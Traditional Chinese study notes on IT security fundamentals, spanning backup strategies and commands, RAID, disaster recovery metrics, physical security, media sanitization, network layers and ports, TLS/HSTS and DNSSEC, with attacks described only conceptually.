完整備份	Full Backup	全部資料，不論上次備份後是否變動	最長	1 個（Full 即可）	最大
差異備份	Differential Backup	自上次完整備份以來所有變動的資料	漸增（越後期越大）	2 個（最新 Full + 最新 Diff）	中
增量備份	Incremental Backup	自上次任何備份以來新增或變動的資料	最短	多個（最新 Full + 所有後續 Inc）	最小

備份策略取捨

• 完整備份 = 備份最慢、還原最簡單。
• 差異備份 = 空間比增量大，但還原只需兩份（Full + 最新 Diff）。
• 增量備份 = 每次備份最快，但還原時需要串接多份，過程最複雜。
• 實務常用策略：週日做 Full，週一到週六做 Incremental（或 Differential）。
• RPO（Recovery Point Objective，復原時間點目標）：允許資料丟失的最大時間範圍，由備份週期直接決定。備份頻率越高，RPO 越短；Full 備份搭配每小時 Transaction Log 可將 RPO 壓縮至 1 小時內。
• 3-2-1 備份法則：至少 3 份副本、儲存在 2 種不同媒體、1 份放異地。這是業界公認的最低標準。
• WORM（Write Once Read Many）儲存：資料寫入後在指定留存期間內無法修改或刪除，有效抵禦勒索軟體加密或攻擊者刪除備份的行為。雲端服務（如 Azure Immutable Blob Storage）均支援 WORM 模式，是現代備份策略的重要一環。

SQL Server 備份對應（業界實務範例）：

通用備份類型	SQL Server 對應	SQL Server 特性
完整備份	Full Backup（完整備份）	備份整個資料庫，包含資料與交易記錄的一部分，可獨立還原
差異備份	Differential Backup（差異備份）	備份自上次 Full 以來變動的資料頁（Data Extent），還原時需 Full + 最新 Diff
增量備份	Transaction Log Backup（交易記錄備份）	備份自上次記錄備份以來的交易記錄，還原時需 Full + 所有後續 Log 依序套用

• SQL Server 的 Transaction Log Backup 概念等同增量備份，但記錄的是「交易」而非「變動檔案」。
• SQL Server 還有「檔案群組備份（Filegroup Backup）」：只備份特定檔案群組，適合超大型資料庫避免每次全庫備份。

跨平台備份工具對照

面向	Windows	Linux
內建備份工具	wbadmin（Windows Server Backup）、檔案歷程記錄	rsync、tar、cp
企業級方案	SQL Server Backup、Azure Backup	Bacula、BorgBackup、Restic
快照（Snapshot）	VSS（Volume Shadow Copy Service）	LVM Snapshot、Btrfs/ZFS Snapshot
自動排程	工作排程器（Task Scheduler）	cron / systemd timer
異地備份	Azure Blob Storage、AWS S3	rsync + SSH、rclone（支援多雲端）

Linux 備份指令範例

# rsync 增量備份（僅傳輸有變動的檔案，適合異地備份）
rsync -avz --delete /var/www/ user@backup-server:/backup/www/

# tar 完整備份（壓縮整個目錄為單一檔案）
tar -czf /backup/full-$(date +%Y%m%d).tar.gz /var/www/

# 搭配 cron 排程每日凌晨 2 點執行增量備份
# crontab -e
# 0 2 * * * rsync -avz --delete /var/www/ user@backup-server:/backup/www/ >> /var/log/backup.log 2>&1

# 使用 find 清理超過 30 天的備份檔
find /backup/ -name "full-*.tar.gz" -mtime +30 -delete

Windows 備份指令範例

# wbadmin 執行完整備份到網路共用
wbadmin start backup -backupTarget:\\BackupServer\Share -include:C: -quiet

# 使用 robocopy 鏡像同步資料夾（/MIR 會同步刪除目的端多餘檔案）
robocopy C:\Data \\BackupServer\Data /MIR /Z /LOG:C:\Logs\backup.log

# 建立 VSS 快照（Volume Shadow Copy）
vssadmin create shadow /for=C:

RAID（Redundant Array of Independent Disks，獨立磁碟冗餘陣列）類型對照表

RAID 等級	技術原理	最少磁碟數	可容許故障數	讀取效能	寫入效能	可用空間	適用情境
RAID 0	條帶化（Striping），無冗餘。資料分割後交替寫入各磁碟，所有磁碟空間合併為單一邏輯磁碟區	2	0（任一磁碟故障即全部資料損失）	最高（並行讀）	最高	100%（所有磁碟容量總和）	影片剪輯暫存、需要高效能但不重視容錯的場景
RAID 1	鏡像（Mirroring），資料完整複製至每顆磁碟	2	n-1（只要剩 1 顆即可）	高（可雙軌讀）	無提升（需同時寫兩份）	50%	OS 磁碟、重視資料安全性的場景
RAID 5	條帶化 + 分散式同位元（Distributed Parity），每條帶的同位元輪流存放於不同磁碟	3	1（同位元可重建一顆磁碟）	高	有下降（需計算 Parity）	(n-1)/n	NAS（Network Attached Storage，網路附加儲存）、兼顧效能與容錯的常見選擇

RAID 5 同位元分散示意（3 顆磁碟）

條帶（Stripe）	Disk 0	Disk 1	Disk 2
1	A1	A2	P(A)
2	B1	P(B)	B2
3	P(C)	C1	C2

P(X) = 該條帶的同位元區塊（透過 XOR 計算）。每條帶的同位元輪流放在不同磁碟上，避免單一磁碟成為同位元瓶頸。任一磁碟故障時，可透過剩餘資料 + 同位元反算出遺失的區塊（例如 Disk 1 故障 → A2 = A1 XOR P(A)）。

RAID 常見誤解與實務配置

• RAID 不等於備份：RAID 只防硬碟故障，無法防範勒索軟體加密、誤刪、火災等情境。
• 業界常見組合：
  • RAID 10（1+0）= RAID 1 鏡像 + RAID 0 條帶化。兼顧效能與安全，是資料庫伺服器的常見選擇（如 SQL Server 建議 RAID 10 放資料檔）。
  • RAID 50（5+0）= RAID 5 + RAID 0。大型儲存系統常用。
• 企業級儲存通常搭配 Hot Spare（熱備援磁碟），故障時自動重建。

RAID 5 直觀類比

想像 3 本筆記本要抄寫一個故事：

• 筆記本 A 寫第 1 段、第 2 段。
• 筆記本 B 寫第 1 段、第 3 段。
• 筆記本 C 寫第 2 段、第 3 段。

每本筆記本都輪流負責寫「摘要頁」（同位元），記錄另外兩本的內容校驗值。任一本遺失，都能從另外兩本的內容與摘要頁還原。

• RAID 6（雙同位元）：等於每條帶寫兩份摘要頁，分散在兩顆不同磁碟上，因此可容忍同時 2 顆磁碟故障。最少需要 4 顆磁碟。
• RAID 5 只寫一份同位元，容忍 1 顆故障；RAID 6 寫兩份同位元，容忍 2 顆故障，但寫入效能更低（需計算兩次 Parity）。

備援站點類型對照表（Hot / Warm / Cold）

類型	英文	設備狀態	資料即時性	啟用時間	成本
熱站	Hot Site	與主站相同的完整設備，持續運作	即時同步（或極短延遲）	分鐘內（幾乎立即切換）	最高
暖站	Warm Site	設備就緒但待機，需手動啟動與資料同步	定期備份（數小時至一天）	數小時至數天	中等
冷站	Cold Site	僅有場地、電力與基礎設施，無設備	需從備份媒體還原	數天至數週	最低

RTO / WRT / MTPD / RPO

• RTO（Recovery Time Objective，復原時間目標）：系統停擺後，允許服務中斷的最長時間。Hot Site 的 RTO 最短；Cold Site 的 RTO 最長。
• WRT（Work Recovery Time，工作復原時間）：系統恢復運作（RTO 達成）後，驗證資料完整性、調校設定、恢復正常營運所需的額外時間。使用者實際感受的中斷時間 = RTO + WRT。
• MTPD（Maximum Tolerable Period of Disruption，最大可容忍中斷時間）：組織可承受的中斷時間絕對上限。超過此時間將造成不可接受的業務損害。MTPD ≥ RTO + WRT。
• RPO（Recovery Point Objective，復原時間點目標）：災難發生後，允許資料丟失的最大時間範圍，由備份週期決定。Hot Site（即時同步）的 RPO 接近 0；Cold Site（定期備份）的 RPO 可能是數天前。
• 風險胃納量驅動目標設定：風險胃納量高（可接受較長中斷）→ 允許較長 RTO/RPO → 可選較低成本的備援方案。

• RPO 看「過去」（能丟多少資料），RTO + WRT 看「未來」（要多快恢復），MTPD 是硬性死線。
• 業界實務：金融業核心系統通常要求 RTO < 4 小時、RPO < 1 小時，因此多採 Hot Site + 即時資料同步（如 SQL Server Always On Availability Group）。
• 一般企業 ERP 系統可接受 RTO < 24 小時，Warm Site 搭配每日差異備份即可。

資料儲存分層（Hot / Warm / Cold）

依存取頻率將資料分配至不同成本的儲存層，達到效能與成本的平衡。

層級	特性	Azure Blob 對應	典型資料
熱儲存	高頻存取、低延遲，儲存成本高	Hot tier	近期交易紀錄、當月報表
暖儲存	低頻存取，儲存成本較低，取回有費用	Cool tier	近一至三年歷史資料
冷儲存	封存用，取回需數小時，成本最低	Archive tier	法規要求留存的舊資料、三年以上歸檔

資料可隨時間自動降層（如 Azure Blob Lifecycle Management），也可手動搬移。

關聯式資料庫的分層實作

關聯式資料庫（如 SQL Server）沒有原生的分層管理，通常以以下方式模擬：

• 分割區（Partition）+ 檔案群組（Filegroup）：近期分割區放 SSD 檔案群組（熱），舊資料分割區放 HDD 檔案群組（冷），資料老化後以 Partition Switching 搬移，不需逐列複製。
• 歸檔資料庫：將超過保留期限的資料批次搬到獨立的歷史資料庫，主資料庫維持精簡，歷史庫僅供查詢。

Elasticsearch 則有原生的 ILM（Index Lifecycle Management）：索引可設定自動從 Hot 節點（SSD，負責寫入與即時查詢）搬至 Warm 節點（HDD，唯讀）再至 Cold/Frozen 節點，由引擎自動執行，不需手動介入。

資料儲存分層 vs 備援站點：同名不同義

「熱/暖/冷」在備援站點指的是備援整備程度（設備是否就緒、能多快切換）；在資料儲存分層指的是存取頻率與成本的取捨。兩組術語名稱相同，概念獨立。

BCP 測試類型對照表

測試類型	英文	說明	風險	成本
桌面演練	Tabletop Exercise	以會議討論方式模擬災難情境，逐步檢視計畫步驟	無（純討論）	最低
結構化走查	Structured Walk-Through	各部門代表共同逐項檢視計畫內容，確認角色與程序	無	低
模擬測試	Simulation Test	模擬真實災難情境（如模擬機房火災），執行通報與應變流程，但不實際切換系統	低	中
平行測試	Parallel Test	備援系統實際啟動並處理業務，與主系統同時運行比對結果	低（主系統不中斷）	中高
完全中斷測試	Full Interruption Test	主系統完全關閉，全部業務切換至備援站點運行	最高（若備援失敗影響業務）	最高

BCP 測試的取捨與頻率

• 平行測試：備援系統實際處理交易但主系統仍在線，可驗證備援能力而不影響正式業務。
• 完全中斷測試是唯一能驗證「真正切換能力」的方式，但風險最高，通常僅在管理階層核可後執行。
• 測試頻率建議：桌面演練每半年一次，平行/中斷測試每年至少一次。

BCP 與 DRP 的關係

BCP（Business Continuity Plan，營運持續計畫） 涵蓋組織在災難期間維持關鍵業務運作的完整策略；DRP（Disaster Recovery Plan，災難復原計畫） 是 BCP 的子集，專注於 IT 系統與資料的技術性復原。兩者皆以 BIA 的分析結果為制定基礎。

面向	BCP	DRP
範圍	全組織（業務流程、人員、通訊、IT）	IT 基礎設施（伺服器、網路、資料）
目標	在災難期間維持最低限度的業務運作	將 IT 系統恢復至正常運作狀態
關鍵輸入	BIA（Business Impact Analysis，營運衝擊分析）	來自 BIA 的 RTO / RPO 目標、關鍵系統清單、備援架構
負責角色	高層管理者、業務負責人	IT 部門、資安團隊

BIA（Business Impact Analysis，營運衝擊分析） 在 BCP/DRP 制定前執行，為兩者的共同基礎。透過分析各業務流程中斷時的影響程度，識別關鍵業務功能，並據此設定 RTO、RPO 與備援優先序，作為 BCP 策略規劃與 DRP 技術設計的輸入。

實體安全

實體安全控制措施對照表

控制措施	英文	說明
尾隨	Tailgating	未經授權的人員緊跟在已授權人員後方通過門禁，未經獨立刷卡驗證
帶入	Piggybacking	經授權人員知情並主動帶入未授權人員（如「幫忙開門」）
人員陷阱	Mantrap / Airlock	雙門互鎖設計，第一道門關閉後第二道門才能開啟，強制逐人驗證
監視系統	CCTV	閉路電視監控，提供即時監看與事後調閱能力
訪客管理	Visitor Management	訪客登記、配戴識別證、全程陪同、離場收回證件
環境控制	Environmental Controls	溫溼度監控、消防系統（FM-200 氣體滅火）、不斷電系統（UPS）、備用發電機
纜線管理	Cable Management	網路線路標示與實體隔離，防止未授權連接或竊聽

Tailgating vs Piggybacking

• Tailgating：被跟隨者不知情，屬於被動的安全漏洞。
• Piggybacking：被跟隨者知情且主動配合，屬於違反安全政策的行為。
• 防範措施：Mantrap（人員陷阱）可同時防止兩者，因為每人必須獨立驗證。
• 機房常見的防護組合：門禁卡 + Mantrap + CCTV + 訪客登記制度。

環境控制與消防系統

控制項目	英文	說明
暖通空調	HVAC（Heating, Ventilation, and Air Conditioning）	機房需維持溫度 18–27°C、相對濕度 40–60%。過熱導致設備故障，濕度過高造成凝結水損壞電路。
濕式消防	Wet Pipe	管線內預充水，偵測到火災時立即噴灑。反應最快但會損壞電子設備，不適用於機房。
乾式消防	Dry Pipe	管線內充填壓縮空氣，觸發時才注水。適合低溫環境（防凍），仍會噴水，不適用於精密設備區。
預動式消防	Pre-Action	結合偵煙與溫度雙重偵測，兩者同時觸發才注水。降低誤噴風險，適用於資料中心外圍區域。
氣體滅火	Clean Agent	使用惰性氣體或化學氣體（如 FM-200、Novec 1230、CO₂）取代水。不導電、不殘留，機房首選。CO₂ 有窒息風險，需搭配人員疏散警報。

消防系統選型依據

• 辦公室：濕式（Wet Pipe），成本最低、反應最快。
• 機房外圍（有人區域）：預動式（Pre-Action），雙重確認降低誤噴。
• 機房核心（伺服器區）：氣體滅火（FM-200 / Novec 1230），不損壞設備。
• 無人密閉空間：CO₂，滅火效果最強但會排擠氧氣，人員必須先撤離。

電磁遮蔽（TEMPEST）

TEMPEST 是美國 NSA 定義的電磁洩漏防護標準（Transient Electromagnetic Pulse Emanation Standard）。電子設備運作時會產生電磁輻射（Emanation），攻擊者可透過高靈敏度接收器在遠距離擷取訊號，重建螢幕畫面或鍵盤輸入。

防護措施	說明
法拉第籠（Faraday Cage）	以導電材料（金屬網、金屬板）包覆空間，阻隔電磁波進出。機房等級需整合牆壁、地板與天花板，所有進出線路需通過濾波器。
TEMPEST 認證設備	設備本身從設計階段即降低電磁輻射，符合 NSA 認證標準（如 NSTISSAM TEMPEST/1-92）。
距離控制	限制敏感設備與建築外牆的距離（Zone 控制），利用電磁訊號隨距離衰減的特性。
白噪音產生器	發射隨機電磁訊號覆蓋設備輻射，干擾攻擊者的訊號擷取。

TEMPEST 防護重點

• TEMPEST 防範的是被動竊聽（Passive Eavesdropping），攻擊者不需要接觸目標設備。
• 法拉第籠的日常應用：微波爐外殼、手機訊號遮蔽袋、MRI 室。
• 與纜線管理搭配：光纖不輻射電磁波，是高安全環境的首選傳輸介質。

纜線管理實務

項目	說明
結構化佈線	遵循 TIA/EIA-568 標準，區分水平佈線（Horizontal Cabling）與垂直主幹（Backbone Cabling）。
標籤系統	每條線路兩端標示唯一識別碼，對應配線圖（Patch Panel Diagram），確保可追溯性。
實體隔離	電力線與資料線分開走線槽，避免電磁干擾（EMI，Electromagnetic Interference）。銅纜與光纖分別管理。
上鎖配線間	配線間（Wiring Closet / IDF，Intermediate Distribution Frame）應上鎖管制，防止未授權接線或竊聽。
光纖防竊聽	光纖不輻射電磁波，竊聽需物理彎折光纖（Fiber Tapping），可透過光功率計偵測異常衰減。

儲存媒體銷毀與清除

裝置報廢或汰換時，僅格式化或刪除檔案無法完全清除資料，需依媒體類型選擇對應的銷毀方式：

方法	HDD（傳統磁性硬碟）	SSD / Flash 儲存
消磁（Degaussing）	✅ 有效（破壞磁性記錄）	❌ 無效（Flash 不依賴磁性，消磁無法清除資料）
覆寫（Overwrite / Wipe）	✅ 有效（對 HDD 仍是常見 Clear 手段，但應依現行標準與組織程序執行）	⚠️ 部分有效（SSD 磨損均衡可能保留舊資料區塊，需廠商支援的安全清除指令輔助）
ATA Secure Erase（ATA 安全清除）	✅ 有效	✅ 有效（若廠商支援，由控制器確保完全清除）
加密清除（Cryptographic Erase）	✅ 有效	✅ 有效（先加密所有資料，再銷毀金鑰，資料即無法解讀，是 SSD 的推薦方式）
物理摧毀（Physical Destruction）	✅ 最徹底	✅ 最徹底（NSA 要求研磨至 ≤ 2mm 碎片）

NIST SP 800-88 Rev. 2《Guidelines for Media Sanitization》（2025 年 9 月）將媒體清除分為三個層級：

層級	說明	適用場景
Clear（清除）	邏輯清除（覆寫），無需特殊設備	一般機密資料，汰換至組織內部再利用
Purge（淨化）	消磁、ATA Secure Erase、NVMe Sanitize，或符合條件的加密清除；可抵禦實驗室等級復原攻擊	敏感資料，裝置移出組織控制範圍
Destroy（摧毀）	物理破壞，確保資料完全無法復原	最高機密等級，媒體須完全報廢

• 加密清除（Cryptographic Erase）達到 Purge 等級的條件：加密自裝置配置起即啟用、使用 AES-256 等 NIST 核准演算法、金鑰銷毀可驗證；任一條件不符，僅達 Clear 等級。

常見誤解

• SSD 不可依賴消磁，應優先使用加密清除或物理摧毀。
• 「格式化」≠「清除」：格式化只刪除檔案索引，資料本身仍殘留，可被鑑識工具復原。

SP 800-88 Rev. 1（2014）背景

• Rev. 1 直接列出技術操作細節（如「HDD 至少覆寫一次全零」），多年來被廣泛引用。
• Rev. 2 的定位從「操作手冊」轉為「建立組織層級的媒體清除作業（Sanitization Program）框架」，多數技術細節改為參照 IEEE 2883、NSA 規範或組織核准標準。
• Rev. 2 新增 NVMe 專屬指引，並明確規定加密清除達到 Purge 等級的條件（解決 Rev. 1 界定不清的問題）。

網路安全

網路攻擊四基本類型對照表

依 CIA 三元組對應，網路攻擊可分為四大基本類型：

類型	受損屬性	說明	典型手法
中斷（Interruption）	可用性（Availability）	資料在傳輸途中被切斷，無法到達目的地	DDoS、剪斷實體線路
截取（Interception）	機密性（Confidentiality）	傳輸過程中被攔截竊聽，內容外洩但傳送不受影響	封包監聽（Packet Sniffing）、中間人竊聽
篡改（Modification）	完整性（Integrity）	資料被未授權方修改後再送出，接收方不知情	MITM 篡改封包、SQL Injection
假冒（Fabrication）	真實性（Authenticity）	偽造身分或資料，假冒他人傳送	IP Spoofing、釣魚信件

四種攻擊對應的安全屬性

• 中斷 → 你收不到（可用性遭破壞）。
• 截取 → 你收到了，但內容被看走（機密性遭破壞）。
• 篡改 → 你收到了，但內容被改過（完整性遭破壞）。
• 假冒 → 你收到了，但發送方是假的（真實性遭破壞）。

網路架構與協定對照表

OSI 7 層各層職責

OSI 層級	英文	PDU	職責	常見協定與技術
L7 應用層	Application	資料 (Data)	直接面對使用者或應用程式，提供網路服務介面（如瀏覽網頁、傳送檔案）。	HTTP/HTTPS、FTP、DNS、DHCP、SSH
L6 表達層	Presentation	資料 (Data)	負責資料格式轉換、加密/解密、壓縮，確保不同系統能互相理解資料格式。	SSL/TLS、JPEG、Base64
L5 會議層	Session	資料 (Data)	建立、管理、終止兩端通訊的會議（Session），處理連線同步與對話控制。	NetBIOS、RPC
L4 傳輸層	Transport	區段/數據報 (Segment/Datagram)	提供端對端（Port 對 Port）的可靠傳輸或快速傳輸，負責流量控制與錯誤恢復。	TCP（可靠）、UDP（低延遲）
L3 網路層	Network	封包 (Packet)	負責跨網路的邏輯定址（IP 位址）與路由，決定封包從來源到目的地的最佳路徑。	IP（IPv4/v6）、ICMP、BGP、OSPF
L2 資料連結層	Data Link	訊框 (Frame)	負責同一網路內的實體定址（MAC 位址）、訊框封裝與錯誤偵測，控制節點間的資料傳輸。	Ethernet（MAC）、ARP、VLAN、PPP
L1 實體層	Physical	位元 (Bit)	定義實體傳輸媒介的電氣、光學或無線訊號規格，負責原始位元流的傳送與接收。	1000BASE-T、Wi-Fi 射頻、光纖、同軸電纜

TCP/IP 模型與 OSI 對照

TCP/IP 模型有「經典 4 層」與「現代實務 5 層」兩種版本，早期由美國國防部（DoD）定義的是 4 層（RFC 1122）。隨著網路硬體技術發展，主流教科書與網管認證（如 Cisco CCNA）普遍採用 5 層模型（也稱混合模型）。

OSI 層級	TCP/IP 4 層（經典 DoD）	TCP/IP 5 層（現代實務）
L7 應用層 / L6 表達層 / L5 會議層	應用層 (Application)	應用層 (Application)
L4 傳輸層	傳輸層 (Transport)	傳輸層 (Transport)
L3 網路層	網際層 (Internet)	網路層 (Network)
L2 資料連結層	網路存取層 (Network Access)	資料連結層 (Data Link)
L1 實體層	⬆️ (合併於網路存取層)	實體層 (Physical)

OSI 與 TCP/IP 層級對照圖

OSI 分層的實務理解

• 合併原因：L5~L7 合併是因為現代應用程式直接包辦連線、加密、業務邏輯；L1~L2 合併是因為實體網卡與驅動程式通常綁定運作。
• PDU 與除錯對應：找 Port 號 → 查 L4（Wireshark）；找 IP 位址 → 查 L3（Ping、路由表）；找 MAC 位址 → 查 L2（Switch、VLAN）。
• TCP 協定 vs TCP/IP 模型：TCP 是 L4 的單一傳輸協定；TCP/IP 是整套 L1~L7 的網際網路通訊架構總稱，即便底層使用 UDP，依然跑在 TCP/IP 模型框架下。
• 各層 PDU 的完整封裝/解封裝流程，詳見傳輸單位（PDU）對照表。

💡 協定縮寫速查

Protocol Number（協定編號）位於 L3 IPv4 標頭中，識別 Payload 所使用的上層協定（與 L4 的 Port 號不同，Port 號識別的是應用程式）。

協定編號	協定	說明
1	ICMP	網路診斷與錯誤回報（ping 使用此協定）
6	TCP	可靠傳輸，有握手與重傳機制
17	UDP	低延遲傳輸，無連線保證
47	GRE	VPN 隧道封裝協定
50	ESP	IPsec 加密封包（常見於 VPN）
51	AH	IPsec 驗證標頭，只驗不加密
89	OSPF	內部動態路由協定

其他協定縮寫

縮寫	全名	中文
ARP	Address Resolution Protocol	位址解析協定
BGP	Border Gateway Protocol	邊界閘道協定
802.1Q	—	VLAN 封裝標準，在 Ethernet 訊框加入 VLAN Tag（VLAN 是技術概念，802.1Q 是實作協定）
PPP	Point-to-Point Protocol	點對點協定，用於點對點連線的身分驗證與線路建立，現代寬頻上網（PPPoE）仍使用其變體
RPC	Remote Procedure Call	遠端程序呼叫，讓程式呼叫遠端伺服器上的函式就像呼叫本機函式一樣，gRPC 為現代主流實作
NetBIOS	Network Basic Input/Output System	網路基本輸入輸出系統，早期 Windows 網路芳鄰的底層協定，現代環境應停用

NetBIOS 安全風險

NetBIOS 是極老舊的協定，現代企業網路強烈建議全面停用，原因：

• 在內網產生大量廣播流量，消耗頻寬。
• 攻擊者可利用 NBT-NS 毒化（NBT-NS Poisoning） 在企業內網橫向擴散，是勒索軟體常用的滲透手法。
• 現代 Windows 檔案共享已改用更安全的 SMB（Port 445），不再需要 NetBIOS。

傳輸單位（PDU，Protocol Data Unit）對照表

OSI 層級	傳輸單位	英文	說明
L5-L7 應用層	資料	Data / Message	應用程式產生的原始資料，尚未加上任何協定標頭。
L4 傳輸層	區段 / 數據報	Segment（TCP）/ Datagram（UDP）	TCP 將資料切割為區段並編號，確保可靠傳輸與順序；UDP 不保證順序也不重傳。
L3 網路層	封包	Packet	加上來源/目的 IP 位址，決定路由路徑。
L2 資料連結層	訊框	Frame	加上來源/目的 MAC 位址與 FCS（Frame Check Sequence，訊框檢查序列）錯誤檢查碼。
L1 實體層	位元	Bit	電氣訊號、光學訊號或無線電波。

封裝與解封裝

想像寄包裹的過程：你把文件（Data）裝進信封，寫上收件 Port（L4）、再套上寫地址的外箱（L3 加 IP），最後交給快遞車（L2 轉為訊框、L1 轉為電訊號）。每多包一層叫「封裝（Encapsulation）」；收件端依序拆開每層叫「解封裝（Decapsulation）」。

封裝順序：Data → Segment / Datagram → Packet → Frame → Bit

Segment 是 TCP 的包裝單位，Datagram 是 UDP 的。

TCP 與 UDP

TCP 和 UDP 都是 L4 傳輸層協定，決定資料「怎麼送」，不管資料「送去哪」（那是 L3 IP 的工作）。

面向	TCP	UDP
全名	Transmission Control Protocol	User Datagram Protocol
連線模式	連線導向（傳資料前先建立連線）	無連線（直接傳送）
可靠性	保證送達：序號、確認回應、逾時重傳	不保證：封包可能遺失或亂序
速度	較慢（握手與確認有額外開銷）	較快（無握手與確認）
常見應用	HTTP/HTTPS、SSH、SMTP、FTP	DNS 查詢、VoIP、串流媒體、QUIC

TCP 三次握手（Three-way Handshake）

TCP 傳資料前必須先完成三個步驟，確認雙方都能收發：

常見 TCP 旗標（Flags）

旗標	說明
SYN	請求建立連線
ACK	確認收到
FIN	請求正常終止連線
RST	強制重置連線（異常中斷）
PSH	要求立即傳給應用層，不等緩衝區填滿

資安關聯

• SYN Flood：攻擊者大量發送 SYN 但故意不完成握手，讓伺服器的半開放連線表耗盡，屬於 DoS 攻擊。
• TCP RST 注入：攻擊者偽造 RST 封包強制中斷合法連線，可用於干擾通訊或審查（防火牆封鎖常用此機制）。
• UDP 放大攻擊（Amplification）：UDP 無連線特性可讓攻擊者偽造來源 IP，利用回應遠大於請求的服務（如 DNS、NTP）放大攻擊流量，詳見 L3-L7 阻斷服務攻擊章節。

常見 Port 對照表

Port 號位於 L4 TCP/UDP 標頭，用來識別封包要交給哪個應用程式。例如瀏覽器連到伺服器時，伺服器用 Port 80 或 443 接收請求，讓作業系統知道要把流量交給網頁服務而不是其他程式。

Port 號依範圍分為三類：

範圍	英文名稱	中文名稱	說明
0–1023	Well-Known Ports	知名通訊埠	IANA 官方指定給常見服務，在 Linux/Unix 上綁定此範圍需要 root 權限
1024–49151	Registered Ports	註冊通訊埠	第三方應用程式向 IANA 登記使用，如 MySQL（3306）、RDP（3389）
49152–65535	Ephemeral Ports	動態通訊埠	作業系統動態分配給用戶端的臨時連線，連線結束後釋放

IANA（Internet Assigned Numbers Authority，網際網路號碼分配機構）

負責管理全球網際網路的號碼資源，包含 IP 位址、AS 編號與 Port 號的分配與登記。

開發者通常不需要向 IANA 申請 Port 號，Ephemeral Ports 範圍內的 Port 可自由使用。需要申請的情況：開發一個打算對外公開、成為業界通用標準的協定或服務，才需要向 IANA 申請固定的 Registered Port，讓其他人的系統能識別該 Port 屬於哪個服務。

常見服務 Port

Port	協定	傳輸層	說明
20	FTP-DATA	TCP	FTP 資料傳輸
21	FTP	TCP	FTP 控制連線
22	SSH	TCP	加密遠端登入與檔案傳輸（SCP/SFTP）
23	Telnet	TCP	明文遠端登入，已廢棄不安全
25	SMTP	TCP	電子郵件傳送（伺服器對伺服器）
53	DNS	TCP/UDP	網域名稱解析（查詢用 UDP，區域傳輸用 TCP）
67/68	DHCP	UDP	67 為伺服器端，68 為客戶端，動態 IP 分配
80	HTTP	TCP	明文網頁傳輸
110	POP3	TCP	郵件收取（下載後從伺服器刪除）
143	IMAP	TCP	郵件收取（郵件保留於伺服器）
161/162	SNMP	UDP	161 為查詢，162 為 Trap（主動告警）
389	LDAP	TCP	目錄服務查詢（明文）
443	HTTPS	TCP	TLS 加密網頁傳輸
445	SMB	TCP	Windows 檔案共享與網路芳鄰
465	SMTPS	TCP	SMTP over TLS（郵件加密傳送）
514	Syslog	UDP	系統日誌傳送（明文，不可靠）
587	SMTP Submission	TCP	郵件客戶端提交郵件（需驗證）
636	LDAPS	TCP	LDAP over TLS（加密目錄查詢）
853	DoT	TCP	DNS over TLS（加密 DNS 查詢）
993	IMAPS	TCP	IMAP over TLS
995	POP3S	TCP	POP3 over TLS
1433	MSSQL	TCP	Microsoft SQL Server
1521	Oracle DB	TCP	Oracle 資料庫
3306	MySQL	TCP	MySQL / MariaDB 資料庫
3389	RDP	TCP	Windows 遠端桌面協定
5432	PostgreSQL	TCP	PostgreSQL 資料庫
6379	Redis	TCP	Redis 快取資料庫（預設無驗證，勿直接對外）
8080	HTTP Alt	TCP	HTTP 替代 Port，常用於開發或 Proxy
27017	MongoDB	TCP	MongoDB 資料庫

TLS 在 OSI 模型中的定位與 HTTPS / HSTS

TLS（Transport Layer Security） 在 OSI 模型中跨越 L5（會議層）與 L6（表達層），但在 TCP/IP 模型中歸類為應用層的一部分。TLS 不是獨立的傳輸協定，而是在 TCP 之上、應用層之下提供加密與身分驗證。版本演進與各版本安全性詳見加密協定版本演進對照表。

HTTPS（HTTP over TLS）：HTTP 流量透過 TLS 加密傳輸，預設 Port 443。

HSTS（HTTP Strict Transport Security）：伺服器透過 HTTP 標頭 Strict-Transport-Security 告知瀏覽器，後續對該網域的請求必須使用 HTTPS，防止 SSL Stripping 攻擊（攻擊者將 HTTPS 降級為 HTTP）。

HSTS 指令	說明
max-age=31536000	瀏覽器記住此政策的時間（秒），此例為一年。
includeSubDomains	所有子網域也強制 HTTPS。
preload	將網域加入瀏覽器內建的 HSTS Preload List，消除一般 HSTS 首次連線前的 HTTP 空窗期。

加入 HSTS Preload List

一般 HSTS 需要使用者先成功連線過一次，瀏覽器才會記住「這個網站要用 HTTPS」。在此之前的第一次連線仍可能走 HTTP，存在被攻擊的空窗期。Preload List 是各瀏覽器出廠時內建的清單，網域一旦列入，任何人第一次造訪就直接強制 HTTPS。

申請流程：

1. HTTP 回應標頭加上 Strict-Transport-Security，且必須包含 preload、includeSubDomains，以及 max-age 至少一年。
2. 到 hstspreload.org 提交網域申請。
3. 審核通過後納入 Chromium 原始碼，之後 Chrome、Firefox、Edge、Safari 更新時一併帶走。

注意：includeSubDomains 是強制條件，所有子網域都必須支援 HTTPS。加入後若要移除，需另行申請且等待下次瀏覽器版本更新才生效，申請前務必確認網域長期能維持 HTTPS。

SSL Stripping 攻擊

攻擊者攔截使用者第一次發出的 HTTP 請求，對伺服器維持 HTTPS 連線，對受害者回傳竄改過的 HTTP 頁面，使帳密以明文傳送。詳見 SSL Stripping。

C# 範例：HttpClient 設定 TLS 1.3

using System.Net.Http;
using System.Net.Security;
using System.Security.Authentication;

// 建立指定 TLS 版本的 HttpClientHandler
SocketsHttpHandler handler = new() {
    SslOptions = new() {
        // 僅允許 TLS 1.2 與 TLS 1.3
        EnabledSslProtocols = SslProtocols.Tls12 | SslProtocols.Tls13,
    },
};

using HttpClient client = new(handler);

// 發送 HTTPS 請求
HttpResponseMessage response = await client.GetAsync("https://example.com/api/data");
response.EnsureSuccessStatusCode();

string body = await response.Content.ReadAsStringAsync();
Console.WriteLine($"回應長度：{body.Length} 字元");

實務上應透過 IHttpClientFactory 管理 HttpClient 生命週期，避免 Socket 耗盡問題。

DNS 安全

DNSSEC（DNS Security Extensions，DNS 安全擴充）為 DNS 回應加上數位簽章，確保查詢結果的真實性與完整性，防止 DNS Spoofing 與 Cache Poisoning。

為什麼需要 DNSSEC？

瀏覽器收到 DNS 回應說「bank.com 的 IP 是 1.2.3.4」，它怎麼確認這不是攻擊者偽造的？

1. 網域自己簽名：bank.com 用私鑰對所有 DNS 記錄產生 RRSIG 簽章，並公開對應的 DNSKEY 供人驗證。
2. 自簽無法信任：任何人都能自己產生一組金鑰然後簽名，光有 RRSIG 和 DNSKEY 不夠。解析器還需要確認「這把 DNSKEY 本身是否合法」。
3. 上層出具憑據（DS 記錄）：.com TLD 在自己的區域內存放一筆 DS 記錄，內容是 bank.com DNSKEY 的雜湊值。解析器比對吻合，代表 .com 認可這把金鑰是真的。
